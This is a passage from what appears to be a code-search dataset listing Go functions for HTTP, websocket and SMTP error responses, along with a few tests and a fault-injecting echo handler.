&e\n\ttransaction.Complete(false)\n\terr = webservice.WebSocketSend(response)\n\tif err != nil {\n\t\tuiLog.Error(err)\n\t}\n}","func (s *Server) echo(writer http.ResponseWriter, request *http.Request) {\n\twriter.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\twriter.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Range, Content-Disposition, Content-Type, ETag\")\n\n\t// 30% chance of failure\n\tif rand.Intn(100) < 30 {\n\t\twriter.WriteHeader(500)\n\t\twriter.Write([]byte(\"a chaos monkey broke your server\"))\n\t\ts.client.Count(\"echo.error\", 1, nil, 1)\n\t\treturn\n\t}\n\n\t// Happy path\n\twriter.WriteHeader(200)\n\trequest.Write(writer)\n\ts.client.Count(\"echo.success\", 1, nil, 1)\n}","func (r *Responder) ServiceUnavailable() { r.write(http.StatusServiceUnavailable) }","func (r *Router) Error(w http.ResponseWriter, err error, statusCode int) {\n\thttp.Error(w, err.Error(), statusCode)\n}","func writeServiceError(w http.ResponseWriter) {\n\t// TODO log error\n\tw.WriteHeader(http.StatusServiceUnavailable)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tjson.NewEncoder(w).Encode(response{\"Fail connection on DB.\"})\n}","func fail(res http.ResponseWriter, code int, message string) {\n\tres.WriteHeader(code)\n\tbody, _ := json.Marshal(ErrorResponse{message})\n\tres.Write(body)\n}","func WriteError(w http.ResponseWriter, str string, err error) {\n\tWriteMsg(w, fmt.Sprintf(\"An Error occured - %s: %v\", str, err))\n}","func errHandler(w http.ResponseWriter, code int, err error) {\n\tlog.Println(\"Error:\", err)\n\thttp.Error(w, http.StatusText(code), code)\n}","func setError(w http.ResponseWriter, desc string, status int) {\n\te := map[string]interface{}{\"code\": status, \"msg\": desc}\n\tmsg, _ := json.Marshal(e)\n\tlog.DebugJson(e)\n\t//w.WriteHeader(status)\n\tw.Write(msg)\n}","func internalServerError(w http.ResponseWriter, r *http.Request) {\r\n\tw.WriteHeader(http.StatusInternalServerError)\r\n\tw.Write([]byte(\"internal server error\"))\r\n}","func output500Error(r render.Render, err error) {\n\tfmt.Println(err)\n\tr.JSON(500, map[string]interface{}{\"error\": err.Error()})\n}","func (w *RESPWriter) writeError(err error) {\n\tw.buf.WriteRune(respERROR)\n\tif err != nil {\n\t\tw.buf.WriteString(err.Error())\n\t}\n\tw.buf.Write(DELIMS)\n}","func logHttpError(str string, rw http.ResponseWriter) {\n\tlog.Printf(\"%s\", str)\n\tvar buffer strings.Builder\n\tbuffer.WriteString(\"\")\n\tbuffer.WriteString(str)\n\tbuffer.WriteString(\"\")\n\tbuffer.WriteString(str)\n\tbuffer.WriteString(\"\")\n\trw.WriteHeader(404)\n\trw.Write([]byte(buffer.String()))\n}","func handleErr(w http.ResponseWriter, statusCode int, msg string) {\n\tw.WriteHeader(statusCode)\n\tw.Write([]byte(msg + \"\\n\"))\n}","func Error(w http.ResponseWriter, r *http.Request, err error) {\n\thandler, ok := err.(http.Handler)\n\tif !ok {\n\t\terrCode, ok := err.(ErrorCode)\n\t\tif !ok {\n\t\t\terrCode = errcode.Add(500, err)\n\t\t}\n\t\thandler = errorCodeHandler{\n\t\t\terr: errCode,\n\t\t}\n\t}\n\thandler.ServeHTTP(w, r)\n}","func errWriter(w http.ResponseWriter, httpSts int, err error) {\n\tlog.Print(err)\n\thttp.Error(w, http.StatusText(httpSts), httpSts)\n}","func TestServerReturnBadCode(t *testing.T) {\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(http.StatusNotFound)\n\t\tw.Write([]byte(`{}`))\n\t}))\n\t_, err := sendMessage(testServer.URL, \"test@email.com\", \"test\")\n\tif err == nil {\n\t\tt.Fail()\n\t}\n}","func WriteErrMsg(w http.ResponseWriter, r *http.Request, msg string, opts ...int) {\n\thttpErr := NewErrHTTP(r, msg, opts...)\n\thttpErr.write(w, r, len(opts) > 1 /*silent*/)\n\tFreeHTTPErr(httpErr)\n}","func jsonError(w http.ResponseWriter, serverMsg string, clientMsg string) {\n\tlog.Error(serverMsg)\n\tpayload := Message{\n\t\tError: clientMsg,\n\t}\n\tresJSON, err := json.Marshal(payload)\n\tif err != nil {\n\t\tmsg := fmt.Sprintf(\"Failed to marshal result : %v\", err)\n\t\thttpError(w, msg, msg, http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tfmt.Fprintf(w, \"%s\\n\", string(resJSON))\n\treturn\n}","func ServerErrResponse(error string, writer http.ResponseWriter) {\n\ttype servererrdata struct {\n\t\tStatusCode int\n\t\tMessage string\n\t}\n\ttemp := &servererrdata{StatusCode: 500, Message: error}\n\n\t//Send header, status code and output to writer\n\twriter.Header().Set(\"Content-Type\", \"application/json\")\n\twriter.WriteHeader(http.StatusInternalServerError)\n\tjson.NewEncoder(writer).Encode(temp)\n}","func (h *HandleHelper) ServerErr(err error) {\n\terrs := map[string]interface{}{\n\t\t\"error\": \"the server encountered a problem and could not process your request\",\n\t\t\"detail\": err.Error(),\n\t}\n\terrResponse(http.StatusInternalServerError, errs)(h.w, h.r)\n}","func (f *FFmpeg_Generator) ResponseError() {\n\tcache.UpdateStatus(f.UUID, f.Error.Message, false)\n}","func (s *Basememcached_protocolListener) EnterServer_error_message(ctx *Server_error_messageContext) {\n}","func (s *server) ServerError() error {\n\treturn s.serverError\n}","func repportErrorHandler(w *http.ResponseWriter, err string, code int) {\n\tlog.Println(err)\n\thttp.Error(*w, err, code)\n}","func syntaxError(text string) *smtpResponse {\n\treturn response(501, text, telnet.REQUEST)\n}","func (w *Watcher) sendError(err error) bool {\n\tselect {\n\tcase w.Errors <- err:\n\t\treturn true\n\tcase <-w.done:\n\t\treturn false\n\t}\n}","func (s *Basememcached_protocolListener) ExitServer_error_message(ctx *Server_error_messageContext) {}","func errorResponse(r *http.Request, w http.ResponseWriter, code int, err error) {\n\tresp := map[string]interface{}{\n\t\t\"error\": err.Error(),\n\t}\n\n\twriteResponse(r, w, code, resp)\n}","func ExitError(msg string, code uint64) {\n PrintString(msg);\n PrintChar(10); //Print new line ('\\n' = 10)\n Exit(code);\n}","func Error(ctx *fiber.Ctx, status int, resp interface{}) error {\n\tctx.Status(status)\n\tswitch v := resp.(type) {\n\tcase error, string:\n\t\treturn ctx.JSON(map[string]interface{}{\n\t\t\t\"error\": fmt.Sprintf(\"%v\", v),\n\t\t\t\"status\": status,\n\t\t})\n\tdefault:\n\t\treturn ctx.JSON(resp)\n\t}\n}","func badServerName(w http.ResponseWriter) {\n\thttp.Error(w, \"missing or invalid servername\", 403) // intentionally vague\n}","func error_message(writer http.ResponseWriter, request *http.Request, msg string) {\n\turl := []string{\"/err?msg=\", msg}\n\thttp.Redirect(writer, request, strings.Join(url, \"\"), 302)\n}","func serve(err error) error {\n\tif err == nil {\n\t\treturn nil\n\t}\n\n\tnerr, ok := err.(*net.OpError)\n\tif !ok {\n\t\treturn err\n\t}\n\n\t// Unfortunately there isn't an easier way to check for this, but\n\t// we want to ignore errors related to the connection closing, since\n\t// s.Close is triggered on signal.\n\tif nerr.Err.Error() != \"use of closed network connection\" {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func (s *Server) echo(writer http.ResponseWriter, request *http.Request) {\r\n\twriter.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\r\n\twriter.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Range, Content-Disposition, Content-Type, ETag\")\r\n\r\n\t// 30% chance of failure\r\n\tif rand.Intn(100) < 30 {\r\n\t\ts.logger.Error(\"Unlucky Request\")\r\n\t\ts.client.Count(\"Request_failed.counter\", 1, []string{\"env:production\", \"partition:1\", \"partition:2\"}, 1)\r\n\t\twriter.WriteHeader(500)\r\n\t\twriter.Write([]byte(\"a chaos monkey broke your server\"))\r\n\t\treturn\r\n\t}\r\n\r\n\t// Happy path\r\n\ts.client.Count(\"Request_success.counter\", 1, []string{\"env:production\", \"partition:1\", \"partition:2\"}, 1)\r\n\twriter.WriteHeader(200)\r\n\trequest.Write(writer)\r\n}","func errorResponse(w http.ResponseWriter, reason string, statusCode int) error {\n\tw.WriteHeader(statusCode)\n\terrResponse := ErrorResponse{Err: reason}\n\terr := json.NewEncoder(w).Encode(errResponse)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (r *Responder) BadGateway() { r.write(http.StatusBadGateway) }","func errormessage(writer http.ResponseWriter, request *http.Request, msg string) {\n\turl := []string{\"/err?msg=\", msg}\n\thttp.Redirect(writer, request, strings.Join(url, \"\"), 302)\n}","func (ths *ReceiveBackEnd) handleError(w http.ResponseWriter, r *http.Request) {\n\tdefer r.Body.Close();\n\tths.log.Println(\"Error request arrived...\");\n\thttp.Error(w, \"No such service\", http.StatusBadGateway);\n}","func ServerError(w http.ResponseWriter, r *http.Request, err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\n\tencodedErr, _ := json.Marshal(err.Error())\n\n\tw.WriteHeader(http.StatusInternalServerError)\n\tw.Write(encodedErr)\n\treturn true\n}","func respondWithError(w http.ResponseWriter, code int, message string) {\n respondWithJSON(w, code, map[string]string{\"error\": message})\n}","func ERROR(w http.ResponseWriter, statusCode int, err error) {\n\tif err != nil {\n\t\tJSON(w, statusCode, struct {\n\t\t\tError string `json:\"error\"`\n\t\t}{\n\t\t\tError: err.Error(),\n\t\t})\n\t} else {\n\t\tJSON(w, http.StatusBadRequest, nil)\n\t}\n}","func RespondErr(w http.ResponseWriter, status int, data string) {\n\tw.WriteHeader(status)\n\tfmt.Fprintf(w, `{\n\t\t\"error\": %s\n\t}`, data)\n}","func writeInsightError(w http.ResponseWriter, str string) {\n\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\tw.WriteHeader(http.StatusBadRequest)\n\tio.WriteString(w, str)\n}","func writeError(w http.ResponseWriter, message string){\n\ttype Out struct {\n\t\tMessage string\n\t}\n\n\t/* Write HTML */\n\tdata := Out{message}\n\ttmpl := template.Must(template.ParseFiles(\"static/html/error.html\", \"static/html/top.html\", \"static/html/head.html\"))\n\ttmpl.ExecuteTemplate(w, \"error\", data)\n}","func (srv *Server) ServeErr() <-chan error {\n\tc := make(chan error)\n\tgo func() {\n\t\t<-srv.serveChan\n\t\tclose(c)\n\t}()\n\treturn c\n}","func respondInternalServerError(w http.ResponseWriter, err error) {\n\tw.WriteHeader(http.StatusInternalServerError)\n\tw.Write(makeFailResponse(fmt.Sprintf(\"internal error: %s\", err.Error())))\n}","func (c *Conn) Tempfail() {\n\tswitch c.curcmd {\n\tcase HELO, EHLO:\n\t\tc.reply(ReplyServiceNotAvailable)\n\tcase AUTH:\n\t\tc.authDone(false)\n\t\tc.reply(ReplyAuthTmpFail)\n\tcase MAILFROM, RCPTTO, DATA:\n\t\tc.reply(ReplyMailboxNotAvailable)\n\t}\n\tc.replied = true\n}","func writeErrorResponse(w http.ResponseWriter) {\n\tw.WriteHeader(http.StatusInternalServerError)\n\ter := errorResponse{Message: \"unable to process request\"}\n\tbs, err := json.Marshal(er)\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn\n\t}\n\tif _, err := w.Write(bs); err != nil {\n\t\tlog.Error(err)\n\t}\n}","func serveISE(w http.ResponseWriter) {\n\thttp.Error(w, \"Internal server error.\", http.StatusInternalServerError)\n}","func TestReqRespServerErr(t *testing.T) {\n\t// Connect to NATS\n\tm := NewMessenger(testConfig)\n\tdefer m.Close()\n\n\t// Use a WaitGroup to wait for the message to arrive\n\twg := sync.WaitGroup{}\n\twg.Add(1)\n\n\t// Subscribe to the source subject with the message processing function\n\ttestSubject := \"test_subject\"\n\ttestMsgContent := []byte(\"Some text to send...\")\n\ttestRespErr := errors.New(\"Server error\")\n\tm.Response(testSubject, func(content []byte) ([]byte, error) {\n\t\tdefer wg.Done()\n\t\trequire.EqualValues(t, content, testMsgContent)\n\t\treturn nil, testRespErr\n\t})\n\n\t// Send a message\n\tresp, err := m.Request(testSubject, testMsgContent, 50*time.Millisecond)\n\tassert.Nil(t, err)\n\trequire.EqualValues(t, resp, testRespErr.Error())\n\n\t// Wait for the message to come in\n\twg.Wait()\n}","func (l *Logs) CmdErr(ctx *multiplexer.Context, errMsg error, msg string) {\n\t// Inform the user of the issue (using a basic message string)\n\tctx.ChannelSendf(\"The bot seems to have encountered an issue: `%s`\", msg)\n\n\t// Inform the admins of the issue\n\tmsgTime, err := ctx.Message.Timestamp.Parse()\n\tif err != nil {\n\t\tmsgTime = time.Time{}\n\t}\n\n\tmsgChannel := \"unknown\"\n\tchannel, err := ctx.Session.Channel(ctx.Message.ChannelID)\n\tif err == nil {\n\t\tmsgChannel = channel.Name\n\t}\n\n\tif !l.debug {\n\t\tctx.Session.ChannelMessageSendEmbed(l.errorChannel, &discordgo.MessageEmbed{\n\t\t\tColor: 0xff0000,\n\t\t\tAuthor: &discordgo.MessageEmbedAuthor{\n\t\t\t\tIconURL: ctx.Message.Author.AvatarURL(\"\"),\n\t\t\t\tName: ctx.Message.Author.Username,\n\t\t\t},\n\t\t\tTitle: fmt.Sprintf(\"🚧 Error with command `%s%s`\", ctx.Prefix, ctx.Command),\n\t\t\tURL: util.GetMsgURL(\n\t\t\t\tctx.Message.GuildID, ctx.Message.ChannelID, ctx.Message.ID,\n\t\t\t),\n\n\t\t\tTimestamp: msgTime.Format(\"2006-01-02T15:04:05.000Z\"),\n\t\t\tFields: []*discordgo.MessageEmbedField{\n\t\t\t\t{\n\t\t\t\t\tName: \"🚶 User\",\n\t\t\t\t\tValue: ctx.Message.Author.Username,\n\t\t\t\t\tInline: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: \"#️⃣ Channel\",\n\t\t\t\t\tValue: fmt.Sprintf(\"#%s\", msgChannel),\n\t\t\t\t\tInline: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: \"🕹️ Command\",\n\t\t\t\t\tValue: ctx.Prefix + ctx.Command,\n\t\t\t\t\tInline: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: \"✉️ Command Message\",\n\t\t\t\t\tValue: msg,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: \"⚠️ Error Message\",\n\t\t\t\t\tValue: errMsg.Error(),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: \"🖊️ Command Text\",\n\t\t\t\t\tValue: ctx.Prefix + ctx.Command +\n\t\t\t\t\t\t\" \" + strings.Join(ctx.Arguments[:], \" \"),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t}\n\n\tl.Command.Error(errMsg)\n}","func unexpectedError(msg string) {\n\tcolor.FgLightYellow.Println(msg + \" Please email me at samuelfolledo@gmail.com if this happens\")\n}","func responseWithErrorTxt(w http.ResponseWriter, code int, errTxt string) {\n\tresponseWithJSON(w, code, map[string]string{\"error\": errTxt})\n}","func (s *Server) Err(err error) {\n\ts.ErrCh <- err\n}"],"string":"[\n \"func errorResponse(conn net.Conn, response string) {\\n\\tconn.Write(append(data.PackString(\\\"ERROR\\\"), data.PackString(response)...))\\n}\",\n \"func printError(w http.ResponseWriter, msg string, err error) {\\n\\tlog.Println(\\\"ERROR:\\\", err)\\n\\tlog.Println(\\\"Sending to client:\\\", msg)\\n\\tfmt.Fprintf(w, msg+\\\"\\\\n\\\")\\n}\",\n \"func sendHttpErr(w http.ResponseWriter, status int) {\\n\\thttp.Error(w, http.StatusText(status), status)\\n}\",\n \"func (s *Service) sendError(rsp http.ResponseWriter, req *Request, err error) {\\n var m string\\n var r int\\n var c error\\n var h map[string]string\\n \\n switch v := err.(type) {\\n case *Error:\\n r = v.Status\\n h = v.Headers\\n c = v.Cause\\n m = fmt.Sprintf(\\\"%s: [%v] %v\\\", s.name, req.Id, c)\\n if d := formatDetail(c); d != \\\"\\\" {\\n m += \\\"\\\\n\\\"+ d\\n }\\n default:\\n r = http.StatusInternalServerError\\n c = basicError{http.StatusInternalServerError, err.Error()}\\n m = fmt.Sprintf(\\\"%s: [%v] %v\\\", s.name, req.Id, err)\\n }\\n \\n // propagate non-success, non-client errors; just log others\\n if r < 200 || r >= 500 {\\n alt.Error(m, nil, nil)\\n }else{\\n alt.Debug(m)\\n }\\n if req.Accepts(\\\"text/html\\\") {\\n s.sendEntity(rsp, req, r, h, htmlError(r, h, c))\\n }else{\\n s.sendEntity(rsp, req, r, h, c)\\n }\\n}\",\n \"func serverError(w http.ResponseWriter, err error) {\\n\\tlog.Printf(\\\"error: %s\\\\n\\\", err)\\n\\thttp.Error(w, fmt.Sprintf(\\\"%s\\\", err), http.StatusInternalServerError)\\n}\",\n \"func Error(w http.ResponseWriter, code int, msg string, data interface{}) error {\\n\\tif Log {\\n\\t\\tlog.Printf(\\\"Error %v: %v\\\", code, msg)\\n\\t}\\n\\n\\treturn sendResponse(w, Resp{ERROR, code, msg, data, ErrorHttpCode})\\n}\",\n \"func sendErrorResponse(func_name string, w http.ResponseWriter, http_code int, resp_body string, log_message string) {\\n\\tutils.Log(fmt.Sprintf(\\\"%s: %s\\\", func_name, log_message))\\n\\tw.WriteHeader(http_code)\\n\\tw.Write([]byte(resp_body))\\n\\treturn\\n}\",\n \"func SendError(conn net.Conn,name string, msg string){\\n\\n\\tdataMap:=make(map[string]interface{})\\n\\tdataMap[\\\"type\\\"]=\\\"error\\\"\\n\\tdataMap[\\\"name\\\"]=name\\n\\tdataMap[\\\"msg\\\"]=msg\\n\\tSendJSONData(conn,dataMap)\\n\\n\\n}\",\n \"func TestSendError(t *testing.T) {\\n\\terr := SendError(\\\"Send Error\\\", \\\"https://status.btfs.io\\\", \\\"my peer id\\\", \\\"my HValue\\\")\\n\\tif err != nil {\\n\\t\\tt.Errorf(\\\"Send error message to status server failed, reason: %v\\\", err)\\n\\t} else {\\n\\t\\tt.Log(\\\"Send error message to status server successfully!\\\")\\n\\t}\\n}\",\n \"func sendErrorMessage(s *dgo.Session, c string, m string) {\\n\\ts.ChannelMessageSend(c, m)\\n}\",\n \"func ClientError(w http.ResponseWriter, status int) {\\n\\tapp.InfoLog.Println(\\\"Client error with status of\\\", status)\\n\\thttp.Error(w, http.StatusText(status), status)\\n}\",\n \"func (m *manager) sendErr(w http.ResponseWriter, errorCode int64, errorData interface{}) {\\n\\tw.WriteHeader(http.StatusInternalServerError)\\n\\tenc := json.NewEncoder(w)\\n\\tenc.Encode(map[string]interface{}{\\n\\t\\t\\\"ok\\\": false,\\n\\t\\t\\\"error_code\\\": errorCode,\\n\\t\\t\\\"error_data\\\": errorData,\\n\\t})\\n}\",\n \"func Error(ctx *fiber.Ctx, msg string, e error, status int) error {\\n\\treturn response(ctx, status, fiber.Map{\\n\\t\\t\\\"success\\\": false,\\n\\t\\t\\\"message\\\": msg,\\n\\t\\t\\\"data\\\": e,\\n\\t})\\n}\",\n \"func (k Keisatsu) Error(msg string) {\\n\\tmessage := Message{\\n\\t\\tAppName: k.AppName,\\n\\t\\tLevel: ErrorLevel,\\n\\t\\tMessage: msg,\\n\\t}\\n\\tk.sendWebhook(message)\\n}\",\n \"func sendErrorMessage(w io.Writer, err error) {\\n\\tif err == nil {\\n\\t\\tpanic(errors.Wrap(err, \\\"Cannot send error message if error is nil\\\"))\\n\\t}\\n\\tfmt.Printf(\\\"ERROR: %+v\\\\n\\\", err)\\n\\twriteJSON(w, map[string]string{\\n\\t\\t\\\"status\\\": \\\"error\\\",\\n\\t\\t\\\"message\\\": err.Error(),\\n\\t})\\n}\",\n \"func writeErrorResponse(w http.ResponseWriter, status int, body string) {\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"text/plain\\\")\\n\\tw.WriteHeader(status)\\n\\n\\t_, _ = fmt.Fprintf(os.Stderr, \\\"error: %s\\\", body)\\n\\tif _, err := w.Write([]byte(body)); err != nil {\\n\\t\\t_, _ = fmt.Fprintf(os.Stderr, \\\"cannot write to stream: %v\\\\n\\\", err)\\n\\t\\treturn\\n\\t}\\n}\",\n \"func (app *application) clientError(writer http.ResponseWriter, status int) {\\n\\thttp.Error(writer, http.StatusText(status), status)\\n}\",\n \"func (app *application) clientError(w http.ResponseWriter, status int) {\\n\\thttp.Error(w, http.StatusText(status), status)\\n}\",\n \"func SendError(w http.ResponseWriter, status int, errMsg string) {\\n header(w, status)\\n data := ErrJson {\\n Status: status,\\n Error: errMsg,\\n }\\n json.NewEncoder(w).Encode(data)\\n}\",\n \"func (h *Handler) error(w http.ResponseWriter, error string, code int) {\\n\\t// TODO: Return error as JSON.\\n\\thttp.Error(w, error, code)\\n}\",\n \"func wsError(conn *websocket.Conn, serverMsg string, clientMsg string) {\\n\\tlog.Error(serverMsg)\\n\\tpayload := Message{\\n\\t\\tError: clientMsg,\\n\\t}\\n\\tresJSON, err := json.Marshal(payload)\\n\\tif err != nil {\\n\\t\\tmsg := fmt.Sprintf(\\\"Failed to marshal result : %v\\\", err)\\n\\t\\tlog.Error(msg)\\n\\t\\treturn\\n\\t}\\n\\terr = conn.WriteMessage(websocket.TextMessage, resJSON)\\n\\tif err != nil {\\n\\t\\tlog.Error(\\\"Couldn't write to conn: %v\\\", err)\\n\\t}\\n\\treturn\\n}\",\n \"func (app *application) serverError(res http.ResponseWriter, err error) {\\n\\ttrace := fmt.Sprintf(\\\"%s\\\\n%s\\\", err.Error(), debug.Stack())\\n\\tapp.errLog.Output(2, trace)\\n\\tapp.errLog.Println(trace)\\n\\n\\thttp.Error(res, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\\n}\",\n \"func (a errorServer) ServeHTTP(w http.ResponseWriter, _ *http.Request) {\\n\\thttp.Error(w, \\\"random error\\\", http.StatusInternalServerError)\\n}\",\n \"func replyErr(ctx *router.Context, err error) {\\n\\ts, _ := status.FromError(err)\\n\\tmessage := s.Message()\\n\\tif message != \\\"\\\" {\\n\\t\\t// Convert the first rune to upper case.\\n\\t\\tr, n := utf8.DecodeRuneInString(message)\\n\\t\\tmessage = string(unicode.ToUpper(r)) + message[n:]\\n\\t} else {\\n\\t\\tmessage = \\\"Unspecified error\\\" // this should not really happen\\n\\t}\\n\\n\\tctx.Writer.Header().Set(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\")\\n\\tctx.Writer.WriteHeader(grpcutil.CodeStatus(s.Code()))\\n\\ttemplates.MustRender(ctx.Context, ctx.Writer, \\\"pages/error.html\\\", map[string]any{\\n\\t\\t\\\"Message\\\": message,\\n\\t})\\n}\",\n \"func errorFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {\\n\\tstate := request.Request{W: w, Req: r}\\n\\n\\tanswer := new(dns.Msg)\\n\\tanswer.SetRcode(r, rc)\\n\\tstate.SizeAndDo(answer)\\n\\n\\tw.WriteMsg(answer)\\n}\",\n \"func sendJsonError(response http.ResponseWriter, status int, message string) {\\n\\toutput := map[string]string{\\n\\t\\t\\\"status\\\": \\\"error\\\",\\n\\t\\t\\\"message\\\": message,\\n\\t}\\n\\n\\tjsonBytes, err := json.Marshal(output)\\n\\tif err != nil {\\n\\t\\tlog.Errorf(\\\"Error encoding json error response: %s\\\", err.Error())\\n\\t\\thttp.Error(response, \\\"Interval server error\\\", 500)\\n\\t\\treturn\\n\\t}\\n\\n\\tresponse.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tresponse.WriteHeader(status)\\n\\t_, err = response.Write(jsonBytes)\\n\\tif err != nil {\\n\\t\\tlog.Errorf(\\\"Unable to write JSON error: %s\\\", err)\\n\\t}\\n}\",\n \"func writeError(w http.ResponseWriter, status int, err error) {\\n\\twrite(w, status, Error{Err: err.Error()})\\n}\",\n \"func SendResponseErr(w http.ResponseWriter, httpStatus int, resp Response) {\\n\\tif resp.Code == \\\"0\\\" {\\n\\t\\tresp.Code = \\\"-1\\\"\\n\\t}\\n\\n\\tjson, _ := json.Marshal(resp)\\n\\n\\tw.WriteHeader(httpStatus)\\n\\tw.Write(json)\\n}\",\n \"func eprint(err error) {\\n\\tfmt.Println(DHT_PREFIX, err.Error())\\n}\",\n \"func sendAndExitIfError(err error, response *plugins.Response) {\\n\\tif err != nil {\\n\\t\\tresponse.Errors = append(response.Errors, err.Error())\\n\\t\\tsendAndExit(response)\\n\\t}\\n}\",\n \"func respondWithError(w http.ResponseWriter, message string) {\\n\\tw.WriteHeader(http.StatusBadRequest)\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"text/plain\\\")\\n\\tw.Write([]byte(message))\\n}\",\n \"func ShowErr() {\\r\\n t, _ := template.New(\\\"test\\\").Parse(tpl)\\r\\n // data := map[string]string{\\r\\n // \\\"AppError\\\": fmt.Sprintf(\\\"%s:%v\\\", BConfig.AppName, err),\\r\\n // \\\"RequestMethod\\\": ctx.Input.Method(),\\r\\n // \\\"RequestURL\\\": ctx.Input.URI(),\\r\\n // \\\"RemoteAddr\\\": ctx.Input.IP(),\\r\\n // \\\"Stack\\\": stack,\\r\\n // \\\"BeegoVersion\\\": VERSION,\\r\\n // \\\"GoVersion\\\": runtime.Version(),\\r\\n // }\\r\\n //ctx.ResponseWriter.WriteHeader(500)\\r\\n t.Execute(Requests.W, nil)\\r\\n}\",\n \"func (c *CmdHandler) sendEmbedError(chanID, body, title string) (*discordgo.Message, error) {\\n\\temb := &discordgo.MessageEmbed{\\n\\t\\tColor: cErrorColor,\\n\\t\\tDescription: body,\\n\\t\\tTitle: title,\\n\\t}\\n\\treturn c.discordSession.ChannelMessageSendEmbed(chanID, emb)\\n}\",\n \"func (c *HawkularClientError) Error() string {\\n\\treturn fmt.Sprintf(\\\"Hawkular returned status code %d, error message: %s\\\", c.Code, c.msg)\\n}\",\n \"func send_response() {\\r\\n\\r\\n\\tfmt.Printf(\\\"\\\\n\\\\n\\\")\\r\\n\\tfmt.Printf(\\\"%d\\\\n\\\",status_info.status_code)\\r\\n\\tfmt.Printf(\\\"%s\\\\n\\\",status_info.error_message)\\r\\n\\tfmt.Printf(\\\"%s\\\\n\\\",status_info.error_details)\\r\\n\\tfmt.Printf(\\\"\\\\n\\\")\\r\\n\\tif response_data != \\\"\\\" {\\r\\n\\t\\tfmt.Printf(\\\"%s\\\",response_data)\\r\\n\\t}\\r\\n\\tfmt.Printf(\\\"\\\")\\r\\n\\tos.Exit(0)\\r\\n}\",\n \"func ServerErr(w http.ResponseWriter) {\\n\\tif p := recover(); p != nil {\\n\\t\\tw.WriteHeader(http.StatusInternalServerError)\\n\\t\\tw.Write([]byte(\\\"500 - something oops happend on server, sorry for that\\\"))\\n\\t}\\n}\",\n \"func (app *application) clientError(res http.ResponseWriter, statusCode int) {\\n\\thttp.Error(res, http.StatusText(statusCode), statusCode)\\n}\",\n \"func ExampleError() {\\n\\tError(\\n\\t\\t\\\"Can't send data to remote server.\\\",\\n\\t\\t`{*}Lorem ipsum{!} dolor sit amet, {r*}consectetur{!} adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\\nUt enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor\\nin reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.`,\\n\\t\\tWRAP, BOTTOM_LINE,\\n\\t)\\n}\",\n \"func (app *application) errorResponse(w http.ResponseWriter, r *http.Request, status int, message interface{}) {\\n\\tresp := clientResponse{\\\"error\\\": message}\\n\\t// Write the response using the helper method.\\n\\terr := app.writeJSON(w, status, resp)\\n\\tif err != nil {\\n\\t\\tapp.logError(r, err)\\n\\t\\tw.WriteHeader(500)\\n\\t}\\n}\",\n \"func (w *Watcher) sendError(err error) bool {\\n\\tselect {\\n\\tcase w.Errors <- err:\\n\\t\\treturn true\\n\\tcase <-w.quit:\\n\\t}\\n\\treturn false\\n}\",\n \"func (c *Operation) writeErrorResponse(rw http.ResponseWriter, status int, msg string) {\\n\\tlogger.Errorf(msg)\\n\\n\\trw.WriteHeader(status)\\n\\n\\tif _, err := rw.Write([]byte(msg)); err != nil {\\n\\t\\tlogger.Errorf(\\\"Unable to send error message, %s\\\", err)\\n\\t}\\n}\",\n \"func (c *Conn) TempfailMsg(format string, elems ...interface{}) {\\n\\tswitch c.curcmd {\\n\\tcase HELO, EHLO:\\n\\t\\tc.replyMulti(421, format, elems...)\\n\\tcase AUTH:\\n\\t\\tc.authDone(false)\\n\\t\\tc.replyMulti(454, format, elems...)\\n\\tcase MAILFROM, RCPTTO, DATA:\\n\\t\\tc.replyMulti(450, format, elems...)\\n\\t}\\n\\tc.replied = true\\n}\",\n \"func (w *filePoller) sendErr(e error, chClose <-chan struct{}) error {\\n\\tselect {\\n\\tcase w.errors <- e:\\n\\tcase <-chClose:\\n\\t\\treturn fmt.Errorf(\\\"closed\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func writeErrorResponse(w http.ResponseWriter, errorMsg string) {\\n\\tresponse := Response{false, []common.Bike{}, errorMsg}\\n\\twriteResponse(w, response)\\n}\",\n \"func respondError(writer http.ResponseWriter, err string) {\\n\\twriter.WriteHeader(http.StatusInternalServerError)\\n\\twriter.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tio.WriteString(writer, fmt.Sprintf(`{ \\\"status\\\": \\\"ERROR\\\", \\\"problem\\\": \\\"%s\\\"}`, err))\\n}\",\n \"func errorHelper(err error, transaction *statistics.Transaction, response configs.WsMessage) {\\n\\tuiLog.Error(err)\\n\\te := err.Error()\\n\\tresponse.Error = &e\\n\\ttransaction.Complete(false)\\n\\terr = webservice.WebSocketSend(response)\\n\\tif err != nil {\\n\\t\\tuiLog.Error(err)\\n\\t}\\n}\",\n \"func (s *Server) echo(writer http.ResponseWriter, request *http.Request) 